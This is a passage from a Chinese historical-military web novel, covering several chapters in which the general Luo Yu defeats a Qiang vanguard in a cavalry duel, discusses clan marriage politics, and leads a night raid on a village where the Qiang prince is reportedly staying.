“我已经对军中武将下了严令,谁敢不遵从你的军令,定斩不饶!”
“君家也是。”
“我定会尽力!”
洛羽眼中闪过一抹诧异,他来之前最担心的就是各怀异心,两家不从号令,毕竟自己人钩心斗角的事他经历得太多,但这次君家王家怎么这么痛快,将军权完全交给了自己。
“报!”
突然有一名卫兵步履匆匆地走入帐内,沉声道:
“营外出现了一队羌人游骑,送来了一份战书。”
“战书?”
君墨竹好奇地接过信纸,摊开一看,只有一行小字:
久闻阙州军骁勇无双,三日后,阵前一战!
几人的脸上都浮现出一抹古怪,战书分明就是朝着洛羽来的。
洛羽嘴角微翘,冷笑一声:
“刚到大营战书就来了,看来羌兵等我很久了啊。”
“回信,阙州应战!”
第189章九皇子亲临
“呜呜!”
秋风吹拂、旌旗招展、角声嘹亮。
三天之约如期而至,乾羌双方一大早便各自列阵,隔着三箭之地遥遥相望。
阙州主力尚未抵达,但洛羽带来的三千精骑依旧摆在了大阵中央,君家王家总计近万兵马列阵两侧,长枪弓弩盾牌应有尽有。
两州军卒看起来声势浩大、乌泱泱的一群,实际上在洛羽看来他们毫无战斗力,早就被羌兵打垮了精气神,只是被拉出来凑人数的罢了。
与之对阵的羌兵并不多,约莫三千骑左右,军中高高飘扬着一面军旗,大书“赤那”二字。
三千骑兵对阵乾军上万人丝毫不慌,部分军卒的脸上甚至还挂着轻蔑的笑容,时而吹出一声口哨,像是在挑衅。在羌兵眼里乾军都是乌合之众,早晚会变成自己的刀下军功,只有所谓的阙州军能令他们重视几分。
“羌兵还真是来去如风啊。”
洛羽有些感慨:
“昨天斥候还外出侦查过,方圆十里之内没有敌军出没,三千羌骑就像是凭空冒出来的一般。”
王彦之唏嘘道:
“草原民族全民皆兵,自幼擅长弓马,精通骑射,这一点我乾人比不上啊,边关交战,骑兵乃重中之重,也不怪我边军屡战屡败。”
赤那军旗让洛羽感觉有些陌生,好奇道:“领军主将是谁?”
“西羌猛安,赤那台。”
君墨竹开口解释道:
“此次西羌九皇子耶律乌戈领兵三万而来,众多猛将随行,光是猛安、勇安就来了十几位,谋克更是多如牛毛。
赤那台就是此次的前锋主将,近日在定州境内四处劫掠、屠杀百姓的全都是其麾下,为祸不浅。”
所谓的猛安、勇安、谋克乃是西羌的军职称谓,猛安谋克制算是西羌特有的军事制度:
西羌实际上是由大大小小的部落组成,男子上马皆兵,军卒之间大多以血缘关系为纽带。小部落以千户为一单位,主将称谋克,亦称之为千夫长,往上便是万户,由大部落单独组成或者由几个小部落拼凑而成,主将称猛安,亦称万夫长,麾下大将皆称勇安,比谋克高一级。
但由于各部落实力不一,所以组成的万户下辖兵力也各不相等,实力强劲的猛安麾下兵力过万,弱小的只有三四千人。
此前死在洛羽手里的完颜昌完颜康两兄弟也就是个勇安,麾下兵马都是好几名千户拼凑起来的,论官职远比不上对面的赤那台。
洛羽冷笑一声:
“到底是皇子出征啊,排场就是大。但为何我总觉得对面主帅并非是赤那台,而是耶律乌戈亲至呢。”
“不至于吧?”
君天啸满腹狐疑:
“皇子亲至军中应该竖起皇旗才对,再说了,如果是耶律乌戈来就不可能只带这么点兵马了,三千骑兵还没资格在定州境内横行,他也怕死。”
“或许吧。”
洛羽也不确定,但他总觉得对面阵中有一道目光犹如鹰隼般在盯着自己。
视线越过战场,羌兵阵中有一名男子策马而停,面容极为清秀,既没有穿甲胄也没穿官袍,反而穿着一件类似于中原人的锦衣长袍,细细看去衣袍表面还绣着一头冲天怒吼的孤狼。
西羌图腾乃孤狼逐日,唯有皇族才可在衣袍上绣孤狼!
所谓的万户猛安赤那台恭恭敬敬地立在边上,轻声道:
“殿下,此地太过危险,要不您先回营吧?
虽说没有竖起皇旗,乾人并不知道您来前线。但您乃是千金之躯,万一伤到分毫末将可担不起啊。”
“危险?饿狼面对群羊,有什么危险的。”
耶律乌戈淡淡一笑,嘴角勾起一抹玩味:
“对面的就是新任阙州持节令洛羽了吧,此人这两年声名鹊起啊,麾下骑兵看起来还真有那么点气势。
派人去试试,我想看看他是徒有虚名还是名副其实。”
“诺!”
赤那台冷声喝道:
“贡布!”
“末将在!”
“你领千骑出战,殿下在这,别给我丢人!”
“将军放心!”
一名体壮如牛的武将站了出来,挺着个将军肚,面色悍然,脸颊上的一道刀疤让整长脸看起来格外狰狞。
漫天号角声中,一千羌骑缓缓行出军阵,贡布手握一双板斧耀武扬威地在阵前游弋,厉喝道:
“本将贡布,阙州小儿可敢一战!”
他没说乾人或者陇西,而是直接点了阙州洛家军的名字,语气中充满了挑衅的味道。
吼声如雷,滚滚回荡。
定州并州的近万兵马脸色微变,有些胆子小的脸都白了几分。君墨竹表情凝重:
“勇安贡布,赤那台麾下的头号悍将,当初就是此人第一个带兵攻入寒山关,杀了守城主将,而后又带兵袭扰内地,四处烧杀抢掠,凶名赫赫。”
“羌兵连战连捷,士气旺盛啊。”
王彦之犹犹豫豫地说道:
“洛将军,阙州军刚刚抵达前线尚未休整,要不今天先罢战吧,等全军休整完毕再出战。”
“王兄说得有理啊。”
君天啸漫不经心地说道:
“此人一双板斧出入战阵如有神助,大杀四方,我君家多名将军都奈何不了他,麾下一千骑兵更是号称精锐中的精锐,骁勇异常。
洛将军若是怕了,咱们今日就撤兵吧,不丢人。”
凡是听到这句话的阙州武将都眉头一皱,脸上隐隐浮现出一抹怒意。王彦之的语气那是真替你担心,可君天啸的话怎么听都像是在嘲讽。
洛羽倒是面不改色,很随意地说道:
“本将奉朝廷圣旨,节制三州兵马抗敌。两军对垒,士气为先,哪有第一战就后撤的道理。”
“听洛将军的意思是想要迎战了?”
君天啸笑呵呵的说道:
“那咱们就拭目以待了,早就想看看阙州军伍是何等雄壮,今日想必也能大杀四方、振奋军威吧。
万一打输了可就丢人咯。”
兄长的激将法让君墨竹很是无奈,也不好开口说什么,但蒙虎却气不打一处来,那眼神能吃人。
“君兄就看好吧,能不能打,待会儿便见分晓。”
洛羽轻轻一挥手:
“蒙虎。”
“在!”
早就憋了一股劲的蒙虎怒吼一声,震得君天啸一缩头,耳膜发颤,完全就是故意的,气得君天啸牙痒痒。
“骑兵出阵!”
羌兵出了一千骑,阙州同样是千人出阵,一排排精良黑甲在阳光的照耀下泛着寒光。
蒙虎有样学样,也吼了一声:
“阙州第一营,校尉蒙虎!”
吼声之洪亮犹胜贡布,全场皆闻。
“校尉?好小的官啊。”
耶律乌戈饶有兴致地笑道:
“看起来倒像是员悍将,今日有好戏看了。洛羽啊洛羽,本殿特地来一趟,总不能让我太失望吧?”
两座骑阵遥遥相对,无数战马蓄势待发,一股杀意在无形中弥漫。
隔着三箭之地,洛羽和耶律乌戈同时冷喝一声:
“开战!”
第190章老子打的就是精锐
“轰隆隆!”
两座骑阵展开了对冲,马蹄声渐渐回荡于天地之间。
一千骑的规模并不算大,但一边是阙州军赶赴前线的第一战,一边是皇子亲临前线,所以双方憋足了劲,军心士气都处于巅峰状态,恨不得一鼓作气打垮对面,声势浩大。
羌兵身着灰黄相间的胡服,毕竟甲胄在西羌是个稀罕物,寻常骑兵真不配拥有,但阙州军清一色的精良黑甲,宛如黑云压城,坚不可摧。
“哼,乌合之众也配穿甲,待会儿都是老子的战利品!”
贡布的嘴角挂着轻蔑,手掌轻轻一抬,半数羌兵就举起了弯弓,一波波箭矢迎风射出。骑兵交战弓弩先行,羌兵的惯用手段。
到底号称精锐,看一名名羌兵在马背上弯弓搭箭的样子极为流畅,丝毫没有影响骑阵的推进。
“哼,老子可不吃这一套!”
“驾!”
蒙虎不屑一笑,全军上下猛地一夹马腹,不避箭矢,骤然加速,直接将速度提升的极致。
与其为了避箭弄得己方阵型大乱,倒不如以最快的速度冲过去,贴上去近身肉搏,最多就是挨你一轮箭雨。果然,陡然加速的骑兵让羌兵愣了一下,手忙脚乱地收起弓弩准备冲阵。
就在两军相隔十步之遥时,一声怒吼震慑云霄:
“杀!”
锋利的凉矛笔直前举,第一排百人精骑同时撞阵!
“砰砰砰!”
“噗嗤噗嗤!”
杆杆长枪迭出,血肉纷飞,枪尖捅穿身躯的低沉声不断响起。双方军阵不断往敌军阵中凿入,没有愤怒的嘶吼,有的只是一张张凶悍的面庞。
蒙虎手起枪落接连捅死两名羌骑,就在他准备刺出第三枪的时候一双板斧从侧面砸了过来:
“吃老子一斧!”
“喝!”
贡布满脸狰狞,志在必得,边境开战这么久,还没人能在他手中撑过一斧头。
“吃你个头!”
“铛!”
蒙虎想也不想,抬手就是一枪格挡,凶悍的一记对拼让贡布脸色微变,自己的手臂竟然往后颤了一下,这就意味着蒙虎的臂力要胜过自己!
“看枪!”
蒙虎狞笑一声,转守为攻,枪尖从下往上一记斜挑,拨开板斧,以极为刁钻的角度刺向了他的咽喉。
贡布收起了轻视的目光,紧急一扭身形,枪尖堪堪擦着胸前滑了过去,很是狼狈地才躲开这一枪。
“算你命大!”
电光火石之间两人便错马而过,一人一招,蒙虎略占上风。两员悍将恶狠狠的瞪着对面,恨不得活剥了对方。
“杀!”
“砰砰砰!”
“噗嗤噗嗤!”
一千人的阵型算不得宽厚,双方很快就凿阵而出,各自拉开一段距离调整阵型,战场中央遗留下大批死尸和战马,看尸体的数量隐隐是阙州军更胜一筹。
乾军阵前鸦雀无声,定州并州的军卒个个张大了嘴巴,不敢相信自己的眼睛。对面可不是什么羌兵游骑,而是实打实的一千野战精骑,竟然被蒙虎力压一头。
他们总算见识到了阙州军的骁勇。
洛羽微微点头,上次云阳关之战结束后蒙虎麾下差不多有六百老卒,半年时间内扩充至两千人,成为阙州第一营。虽说经历过阙州战事,但与羌兵进行大规模骑战还是头一回,甚至很多骑兵是第一次与羌人交手。
能打出如此战绩已经十分不易。
“呸!”
调转马头的蒙虎却显得有些不满,啐了口唾沫,二话不说再次策马前冲,同时手掌还在空中打了个手势。
一千骑兵迅速开始变阵,骑阵一分为三,蒙虎亲率百骑居中冲阵,其余人兵分两路,从侧面兜出了一个巨大的弧线。
居中的骑兵速度奇慢无比,战马都快停下来了,每个人都在调整自己的坐姿,努力平复第一轮凿阵造成的呼吸不顺。两侧主力却纵马狂奔,很快便将速度提到了最快。
突然来这么一手让贡布有些蒙圈,当两侧骑兵马快,容不得他多想,只能指挥骑兵先迎战两面之敌,骑阵呼啦啦从中间分开。
“砰砰砰!”
“噗嗤噗嗤!”
又是一轮凿阵,两翼阙州军就像疯了一般,拼了命往纵深凿入,逼得羌兵没办法,只能将所有兵力都集中在两侧。
就在羌骑分兵的这一刻,蒙虎终于动了,一百骑几息之间便将速度拉升到极致,人人面色悍然。
一直观战的耶律乌戈眉宇微皱:
“中计了。”
“杀!”
几乎没有给羌骑任何反应的时间,一百骑便狠狠撞入阵中。
别看只有一百骑,这可是第一营最精锐的百骑老卒,入阵之后便大开杀戒,可怜羌兵刚刚侧身迎敌就遭遇猛烈攻击,来不及调转身形就被凉矛一枪捅落马背。
一百骑以摧枯拉朽之势迅速撕裂羌兵骑阵,羌兵莫名其妙的就陷入了一种前后夹击的态势,伤亡在这一刻陡增。
洛羽笑了起来,自顾自地念叨了一句:
“啧啧,一点两面,蒙虎打仗也会动脑子了,看来玄岐军校没有白读。”
“砰砰砰!”
“啊啊!”
四周军卒的不断哀嚎令贡布牙呲欲裂,没想到仅仅一个变阵就让己方尽显颓势,怒目圆睁的他盯上了迎面冲来的蒙虎:
“乾军小儿,竟敢使诈!”
“诈你个头,自己菜就菜!”
蒙虎讥讽一笑,手中长枪横挥而出:“轮到你了!”
“喝!”
“铛!”
势大力沉的一枪震得贡布肩膀发颤,左手的斧头差点脱手而出。他目光大骇,原先的对拼中蒙虎竟然没有使出全力。
哪知一记对拼之后蒙虎竟然没有收枪而回,手腕一抖,枪尖绕着斧柄直接刺向贡布的手掌,迅捷如雷。
贡布目光陡变,被逼得只能弃斧收手,眨眼间就成了赤手空拳,一股恐惧感直冲天灵感。
“死吧!”
蒙虎狞笑一声,枪尖顺势向上,贡布变得无比绝望,躲无可躲,只能眼睁睁看着枪尖袭来。
“噗嗤!”
一枪正中贡布的胸膛,鲜血飚射而出。
所有羌兵心头咯噔一下,主将竟然被阵斩!
接下来的一幕震惊了所有人,蒙虎硬生生挑起了近三百斤重的尸体,重重往远处一抛,溅起一片混杂着鲜血的沙土。
战场陷入了瞬间的安静,何等的神力啊。
连洛羽都被这一手惊到了:
“当真是虎痴啊,用得着这么狠吗。”
贡布一死,羌兵军心涣散,再也无力抗衡阙州军,被打得落花流水,惨叫连连。
“当真是悍将啊。”
耶律乌戈总算收起了那份轻视的笑容,平静地说道:
“撤兵吧。”
这位九皇子平静的表情下隐隐有杀意涌动。
“叮叮叮~”
悠扬刺耳的鸣金声响起,羌兵残部在两千精骑的策应下逃离战场,扬长而去,蒙虎也没追,毕竟一地的死尸已经证明了阙州军的强悍。
千骑归阵,迎接他们的无数崇拜又敬畏的目光。
杀气腾腾的蒙虎还拖回了贡布的尸体,顺带着瞄了一眼君天啸。君天啸的面色有些尴尬,硬着头皮说了一句:
“咳咳,洛将军麾下当真是猛将如云啊,大败羌兵精锐,佩服。”
蒙虎歪着头,毫不在意地说了一句:
“什么他娘的精锐,老子打的就是精锐!”
第191章君墨竹,你跟我吧
“今天算是开了眼了,阙州军伍之骁勇当为陇西之首啊,多年来我们去西羌战事不断,何曾如此干脆利落地击败过他们?有如此铁血雄师,何愁羌人不退?”
“仅仅千骑便能击溃羌兵,还阵斩敌方勇安大将,听说此次洛将军总计出兵近两万,看来收复寒山关指日可待啊。
哈哈哈。”
帐中回荡着王彦之爽朗的笑声,君天啸的神情也还算欣喜。虽说他本来是想看阙州军吃瘪的,但寒山关毕竟是君家的地盘,若是能击退羌兵,最大的受益方肯定是君家。
洛羽极为谦虚的说道:
“两位过奖了,一场小胜而已,岂能自满?三万羌兵主力尚未出动,九皇子亲自坐镇前线,咱们万不可大意啊。
洛某只想着早日击退羌敌,护我陇西不受战火袭扰。”
“洛兄说得好啊,不是阙州也不是定州并州,而是陇西!”
王彦之神情恍惚,很是感慨:
“这些年来面对羌敌入侵,我三州大多是各自为战,偶尔合兵一处也是号令不明、军令不严,做不到一帅号令全军。说难听点就是各怀异心,都想着保存实力。
这么打仗,能赢才怪!
现在我们有了洛将军此等帅才,就应该齐心协力、众志成城,让羌兵明白,我陇西不惧他们的战马弯刀!”
突然间的慷慨激昂让三人一阵恍惚,是啊,陇西三州各自为战的时间太久了,如此怎么能打败羌人?
洛羽目光微凝,沉声道:
“此战我洛某别无异心,定会奋全力而一战!”
“王家亦然!”
“君家亦然!”
帐中突然豪情冲天,四人相视一笑,是真是假先不提,起码明面上和睦了许多。
王彦之抱拳道:
“定州并州境内还有不少政务等着处理,我和君兄今天就得起程返回境内,前线战事就仰仗洛将军了。
还是那句话,两州兵马全部归将军指挥,上至武将下至军卒,谁敢抗命将军可直接斩首示众!”
君天啸也很认真地说道:“陇西安危就靠将军了,咱们在境内等着边关捷报!”
洛羽有些愣神,原来他们两不会在前线待着,这对自己来说可是好事啊,毕竟没了两人的掣肘,指挥作战会轻松很多。
君天啸甚至还拍了拍君墨竹的肩膀:
“二弟,你就跟在洛将军身边,一来这里是定州,你在这肯定能帮上忙,二来嘛跟着洛将军历练历练,说不定也能成为领兵良将。”
这句话让洛羽更蒙了,君天啸不是一直忌惮君墨竹染指兵权吗,怎么变性子了。
“呵呵,想必洛兄还不知道吧。”
王彦之笑道:
“墨竹已经与舍妹订婚,待此次边境大战结束便会成婚,届时就是双喜临门,哈哈哈。”
“成婚?”
君家王家联姻倒是他没想到的,洛羽隐晦地看了一眼君墨竹,发现其表情略显僵硬,其中定有隐情!
“那我二人就先告辞了。”
王彦之与君天啸弯腰行礼:“我等静候洛将军的捷报!”
“祝二位一路风顺!”
两人大步离去,只剩洛羽和君墨竹相对而坐。
“怎么突然就要成婚了,之前没听你说过啊?”洛羽打趣道:“看来君兄还是没拿我当朋友啊。”
“别说是你了,就连我也是一个月前才得知消息,然后立刻就去王家下了聘礼。”
君墨竹无奈地摇了摇头:
“到今天为止,他妹妹长什么样子我都没见过。”
“啊,一面都没见过?诓我呢吧?”
“没有,天地良心。”
“这世上还有如此蹊跷之事。”
洛羽翻了个白眼:“且不说有没有情愫,见都没见过就要和一个人过一辈子,你不觉得荒唐吗?”
“荒唐?那是你见得太少。”
君墨竹不以为然,神色平静:“世家联姻,岂容小辈自己决定?难不成还像小说中让你选个心爱之人,白头到老?双宿双飞?那你就太天真了。
生在大族,这一辈子每一件事都由不得自己做主。”
洛羽目光闪烁,心生感慨,别看君墨竹说得很轻松,但他的语气里明显带着一分自嘲。就像当初他和萧少游说的那样,君墨竹也有自己的悲哀之处,所谓的陇西四公子并没有表面上看起来那么超脱世俗。
洛羽话锋一转,若有深意地说道:
“君天啸突然放任你染指兵权,想必与此事有关吧?否则他的性子不会让你留在前线。”
“你啊你,还真是什么事都瞒不过你。”
君墨竹苦笑一声:
“你猜对了,那位女子名义上是王家唯一一女,受老家主爱护,实际上却是庶出之女,母亲只不过是王府的一个婢女,身份低微。一个庶出之女、一个私生子,倒是配得很。
呵呵。”
洛羽瞬间了然,大世家最看重脸面,一家之主绝不可能娶一个身份低微的女子。君墨竹与其成婚,就注定了永远不可能成为君家家主,君天啸的威胁一扫而空,所以才放任君墨竹插手兵权。
“这门婚事看来是你大哥的主意吧?”
“当然是他,所谓长兄如父,他向父亲谏言,再加上族人一帮人煽风点火,父亲自然应了这门亲事。”
君墨竹微微摇头:“其实我那位大哥人不错的,小时候从未介意过我私生子的身份,带着我到处玩耍,童年时我们很要好,长大后才渐渐变了。
虽说有时候他会明里暗里地针对我,但从未对我下过死手,他想要的只是一个板上钉钉的家主之位。”
这句话洛羽倒是认同,君天啸只是心胸狭隘了些,但绝不是恶人,否则世家子弟争权夺利,谁不是下死手的?
“如果我猜得没错,此事王家也有份。”
洛羽眉头一挑:
“陇西三州三大世家,互相之间也有斗争。你太聪明了,聪明到让所有人都忌惮的地步,对王彦之而言,君天啸当家主更有利。
对吧?”
“嗯。”
君墨竹并未否认,连洛羽都看出来的事他岂会想不明白:
“我与王彦之算半个朋友吧,此人对我的态度一直不错,但不管是不是真心相交,大家都是为了各自家族的利益罢了,没有谁对谁错。
有时候我很羡慕你,羡慕你的自由,想做什么就做什么,没有丝毫顾忌。”
“唉~”
一声长叹,似是道尽了君墨竹心中的不甘。
“人生苦短啊,你就别为难自己了,既然你不想争,那就不争。”
“实在不行你就跟着我干,别当什么君家二公子了。”
洛羽嬉笑一声:
“你不是说了吗,跟着我自由,我给你重新找个媳妇!”
君墨竹愕然,随即仰天大笑,像是想开了很多:
“好一个安西将军啊,打起我的主意来了。”
“哈哈哈!”
第192章送上门的皇子
“嘎吱嘎吱~”
“嗯~啊~”
“呼!”
西羌猛安赤那台毕恭毕敬地站在军帐中,后帐里清晰的传来女子的娇喘与男子卖力的喘息,床板嘎吱摇晃。
十息之后,伴随着一阵畅快的长啸,一切都归于平静。
九皇子耶律乌戈衣衫不整地走了出来,怀中还搂着一名美姬,长衫微搭在身上,春光乍现,胸口处露出大片雪白,看得人小腹冒火。
像他这种身份的人自然不会去玩弄寻常民女,随军携带的多名美姬哪一个不是身姿婀娜、风情万种。
耶律乌戈狠狠地在美姬胸口捏了一把,又是一阵娇喘:
“找我有什么事?”
“殿下,您让末将打听的消息已经查清楚了。”
“噢?”
耶律乌戈拍了拍女子的翘臀,美姬很识相地走回后帐,赤那台自始至终都低着头,没看女子一眼。
“说。”
赤那台躬身道:
“此次阙州总计出兵一万八千人,洛羽麾下亲兵以及所谓的阙州第一营乃是前锋,几天前刚刚抵达定州,主力兵马还在路上,预估三五天之内就能到。
第一营校尉蒙虎,自洛羽从云阳关起家时就随其征战,堪称心腹中的心腹,麾下军卒皆乃敢战之卒,骁勇异常,乃阙州头号猛将。”
“唔,能阵斩贡布,称之为头号猛将也不为过。”
耶律乌戈整理着自己的衣衫,漫不经心地说道:
“敌军主力未到,若是我们能吃掉这支精锐,甚至说杀了洛羽,那陇西三州岂不尽入我手?”
赤那台眉头微挑:“殿下的意思是?”
“我有一计。”
耶律乌戈的脸上浮现出一抹阴险的笑容:“你按照我的吩咐去做。”
……
“挥刀!”
“一二三!”
“出枪!”
“看看你们像什么样子,都给我打起点精神来!”
营地中有许多士卒在挥枪操练,大多数人都苦着脸,丝毫打不起精神,有的人甚至连握枪放箭的姿势都不对。
在旁观望的洛羽眉头微皱:
“这些兵怎么看起来像新兵啊?你们并州定州该不会派了一群新兵蛋子来前线吧?”
洛羽的眼光何等毒辣,只需要打眼一瞧就知道绝大部分士卒都是新兵,别说听懂战鼓号令了,就连站个队列都歪歪扭扭。
“没错,几乎都是近两个月征召的新兵,还有一些是强拉过来的民夫。”
君墨竹无奈一笑:“难不成你以为君家王家会派出自己的家底倾力一战吗?不到生死存亡之际,家族精锐是不会动的。”
洛羽叹了口气,跟他当初预想的差不多,既然他是领军主将,那王君两家就不可能出死力,能派出近万军卒助战已经殊为不易。
当初的李家何尝不是如此?面对羌兵入侵藏着掖着,嫡系精锐全都用来对付自己人了。
“把这些兵送上战场与送死何异?我会从阙州抽调一些精干将校带着他们操练,短期内他们不会有军务。”
洛羽很清楚,眼下的战事只能靠阙州军打头阵了。
“你是主帅你说了算,我也帮不上忙。”
“对了,你有没有感觉前天那场战事很蹊跷?”
洛羽突然话锋一转:“战书是羌人下的,按理说他们应该是想要提振军心士气,可只打了一仗他们便主动后撤,丝毫没有恋战的意思。
给我的感觉就像是,就像是特地来试试我阙州军伍,并不关注胜负。
我总觉得那日耶律乌戈就在阵中!只有皇子才能对一名勇安的战死视而不见。”
“我也觉得蹊跷,羌兵撤得太果断了。”
君墨竹满腹狐疑:
“但耶律乌戈在不在阵中很难说啊,据我搜集到的情报,耶律乌戈自幼行事乖张、放荡不羁、心狠手辣、残忍异常,在朝内颇有凶名。但再怎么说他也是西羌九皇子,亲临一线太危险了。”
洛羽皱眉苦思:“听起来倒是个狠角色啊。”
“将军!将军!”
蒙虎突然急吼吼地走过来:“营外来了一个老汉,说村子被羌兵给占了,求我们出兵相救,你要不要见见?”
“村子被羌兵占了?”
洛羽好奇道:“那你直接派兵不就好了,我见什么?”
“原本我是想直接派兵的,但老汉说的话让我觉得事有蹊跷,便带来让将军看看。”
“事有蹊跷?”洛羽只好挥挥手:“把人带过来吧。”
“人呢,过来!”
蒙虎一声吼,一名衣衫褴褛的老汉便慌里慌张地跑了过来,倒头往地上一跪:
“军爷,将军,求求你可怜可怜咱们这些老百姓吧,把那些该死的羌人赶走,要不然,要不然草民的村子就没了。”
老人操着一股浓重的定州口音,泣不成声,上来就磕了七八个响头。
洛羽赶忙将老人扶了起来:
“老人家不急,到底怎么回事,您慢慢说?”
老人哽咽一声:
“草民姓张,家住二十里外的张家屯,前天夜里突然有一队羌兵闯入村子,将全村人都抓了起来,说是要把青壮男子送去草原当奴隶,女子,女子全都被他们玷污了。
草民在外放羊才侥幸逃过一劫,听说这里有军营,便来找人相助。将军啊,求求您伸出贵手帮帮忙,不然村子里的人就要死绝了,呜呜。”
张老汉一边哭一边说,老泪纵横,模样甚是凄惨。
洛羽和君墨竹对视了一眼,很是心痛,自羌兵入境之后定州被屠杀的村子多如牛毛,这又是一个可怜人。
“哎,老头,捡要紧的说啊。”蒙虎戳了他一下:“你说那群羌兵什么打扮。”
“噢噢。”
张老汉这才反应过来,比划着说道:“那伙羌兵约莫有三四百人,都披着甲,个个杀气腾腾的,骇人的紧。”
“披甲?”
洛羽的目光瞬间一亮,平时劫掠村子的游骑可都是穿布衣的啊,披甲骑兵定然是精锐中的精锐!
这支骑军什么来头?
君墨竹很耐心地扶住老人:
“老人家,您先别急,好好想想羌兵中有没有什么可疑的人?比如穿着、打扮异于常人的。”
“可疑的人?”
张老汉茫然许久,绞尽脑汁,最后一拍脑门:
“对了,骑队中有个年轻人,没穿甲,看起来是个领头的,羌兵都对他很恭敬,草民远远地看了一眼,好似穿着一身长袍,衣服上像是有头狼。”
几人面色同时一变。
张老汉接着哭:
“将军,求求你们,救救咱们这些可怜人吧,全村上下有几百条人命啊。
小人的孙女也落在他们手里,求将军救命啊!”
洛羽耐心的劝着:“老人家,您先下去休息,放心,保护百姓是咱们边军的职责,我们一定不会见死不救!”
“谢,谢军爷!”
张老汉又磕了好几个头,蒙虎费劲巴拉才把他给请走。
洛羽的脸上多了一抹前所未有的凝重:
“你怎么看?”
“骑军披甲,必是一等一的精锐,年轻人,衣袍绣狼纹。”
君墨竹眉头紧凝:“如果我猜得没错,应该是耶律乌戈!”
“我也是这么想的。”
洛羽皱眉看向老人远去的方向:“但堂堂皇子为何要冒险来到前沿?不合理啊。这个老头有没有可能在说谎?
蒙虎,你查过他的底细吗?”
“查过!就是附近本地人,有个儿子当兵,还是个标长!”
“噢?在哪儿当兵?”
“此前驻守寒山关,城破之后就战死了。”
蒙虎有些同情:“刚才老头提到的孙女就是他唯一在世的亲人了。”
“这么说的话老人与羌兵有血海深仇,不会撒谎的。”
洛羽冷笑一声:
“还真是行为乖张、胆大包天啊,区区几百骑就敢在定州境内横行。
落到我手里,算他倒霉!”
君墨竹愕然:“你该不会是想去宰了他吧?”
“为什么不呢?”
君墨竹犹犹豫豫地说道:“我觉得有些冒险,如今咱们处于劣势,每走一步都应该小心谨慎。”
“险中求胜嘛。”
洛羽微微一笑:
“送上门来的九皇子,不杀白不杀!”
第193章追杀九皇子
夜幕昏昏,月暗星稀。
不起眼的张家屯孤零零地矗立在平原上,有两百多户人家,远远望去是一排低洼的草房土房。村子东面有一片小树林,紧挨着村口。夜风一吹,树梢便咿呀咿呀地晃,远远看去阴森可怖。
窸窸窣窣的声音之下,有大批黑影掠入密林,一点点向村口摸去,洛羽和蒙虎两人的面庞豁然浮现。
村中亮着团团火光,几名持刃羌兵在村口巡逻,果然人人披甲,面色凶悍。村子里隐约传来羌兵的狞笑声与女子的哀嚎,让黑夜变得更加恐怖。
“果然是精锐,深更半夜丝毫不见守卫松懈。”
蒙虎眉头紧凝:
“披甲羌兵真不多见,以往也就是那些大将的亲兵会披甲。”
洛羽冷声道:“就算不是耶律乌戈,肯定也是某个大人物。”
“啊~啊!”
女子的哀嚎声穿透虚空落入众人耳中,越发凄惨、悲悯。难以想象她们正在遭受何等折磨,一旁的张老汉浑身发抖,脸色惨白,双眼中满是泪花:
“将军,求求你们,一定要救救村民啊,我,我孙女还在村子里,她才十几岁啊。”
老汉的眼眸中带着些许绝望,面对这些羌兵畜生,清白肯定是保不住了,但总得留一条命吧。
“放心吧老人家,我们定会尽力相救。”
洛羽耐心地安抚着,同时看向蒙虎:
“耶律乌戈的画像发下去了吗?”
“放心吧将军,兄弟们都看了,就算耶律乌戈化成灰我都能认出来!”
别看只是袭击一个小小村落,但洛羽将三千精骑全都带了出来。五百人下马步战,秘密潜入丛林准备袭击村落,主力骑兵避免打草惊蛇,埋伏在数里之外,只等号令一起便会杀出。
洛羽从羌兵下战书的时候心中就有一种直觉,耶律乌戈一定在前线军中!所以君墨竹找来了他的画像,让所有军卒都记清这张脸。
险中求胜不是没脑子硬拼,洛羽也在思索这次是不是羌兵的诱敌之计。所以见不到耶律乌戈他不会无脑冲杀,但如果真见到九皇子,就算有埋伏他也会豁出去闯一闯!
“现在只有一个问题。”
蒙虎皱眉扫过四面的平原:
“村子四周太空旷了,村中岔路又多,根本无法对这里形成合围。一旦开打,羌骑跑起来很快,拦都拦不住。”
“那就先尽可能地摸进去,离羌兵越近,咱们的机会就越大。”
洛羽手掌轻挥:
“行动吧!”
等待许久的许韦带着十几名精锐匍匐在地,悄悄摸向村口,脚步极轻,没发出半点声响。
村口的羌兵举着火把来回巡逻,凌厉的眼神一直盯着远处的黑幕,独独没发现身侧的灌木丛里趴着十几个人,离自己只有几步之遥。
灯下黑啊。
许韦停住了,似乎连呼吸都消失了,这个距离再动弹一下很可能便会被羌兵发现。
他的手中不知何时多出了一块石头,憋足劲,突然往远处一掷,刚好撞在了石墙上,只听见嘎达一声脆响。
“蹭蹭蹭!”
几名羌兵下意识地扭头看向墙角,人人拔刀而出,反应快得吓人。
“咦,什么都没有?”
领头的羌兵嘟囔了一句,滚落的碎石令其眉头微皱,好端端的怎么会有个石块掉在地上呢?下一刻他就想到了什么,一股不安直冲天灵盖,猛地转身。
不等他开口说话,粗糙有力的手掌就捂住了他的嘴巴,寒光闪过,刀锋直接割开了他的咽喉。
几名阙州军卒抓住羌兵转身的间隙纵身一跃,一人一刀便解决了哨兵,众人小心翼翼地将尸体放倒在地,血腥味开始在夜色中弥漫。
杀人的动作很轻,村内并未有任何异样,洛羽和蒙虎有些欣喜,村口这道难关算是过去了。
确定羌兵没有察觉之后许韦一行人便迈开脚步,悄悄摸向村口的巷道,按张老汉所说,穿过村口的民房后村内有一大片的打谷场,羌兵大多都聚在那里。
就在走进一栋民房的后墙时,许韦突然发现地面有一根细细的黑线,悬在半空一掌的位置,刚好拦住了整条路。
许韦的目光顺着黑线扫过,竟然看到两头悬挂了一排铃铛,上面覆着些许杂草。
“不要动!”
许韦急的低喝一声,怎奈一名军卒的脚掌已经撞了上去。
“叮当当叮当当!”
清脆的响声瞬间打破了夜色的宁静,村内响起了羌兵接二连三的怒喝:
“村口有动静,戒备!”
“什么人!有人夜袭!准备迎战!”
许韦气得直跺脚,踩中黑线的军卒满脸通红,很是内疚,鬼知道羌兵会在村口埋下这么个玩意儿。
“别管了,直接杀进去!”
洛羽的喝声在耳畔响起,既然已经暴露那就没有遮遮掩掩的必要了:
“响箭,骑兵突进!”
“立刻围住所有出入口!”
“咻!”
尖锐的破风声骤然响彻,划破夜空,孤零零的村落陷入躁动。
许韦第一批杀进了村子,迎面就遇到一批羌兵拦路,二话不说直接开打,随即越来越多的阙州军涌入村落,激烈的刀剑对撞回荡在每一栋民房内。
